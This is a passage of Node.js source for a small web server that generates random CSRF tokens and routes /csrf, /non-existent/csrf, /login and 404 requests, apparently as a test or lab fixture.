126 | res.write('[+] token=' + token);
127 | res.end();
128 | }
129 |
130 | function generateToken() {
131 | var token = crypto.randomBytes(8).toString('hex');
132 |
133 | TOKENS.push(token);
134 |
135 | return token;
136 | }
137 |
138 | return module;
139 |
140 | } ());
141 | //
142 | // Main
143 | //
144 | var handle = {};
145 |
146 | handle['/csrf'] = RequestHandler.csrf;
147 | handle['/non-existent/csrf'] = RequestHandler.noCsrf;
148 | handle['/login'] = RequestHandler.login;
149 | handle['404'] = RequestHandler.notFound;
150 |
151 | httpServer.start(Router.route, handle);
152 |
153 | console.log('>> Mini web application running port ' + PORT);
--------------------------------------------------------------------------------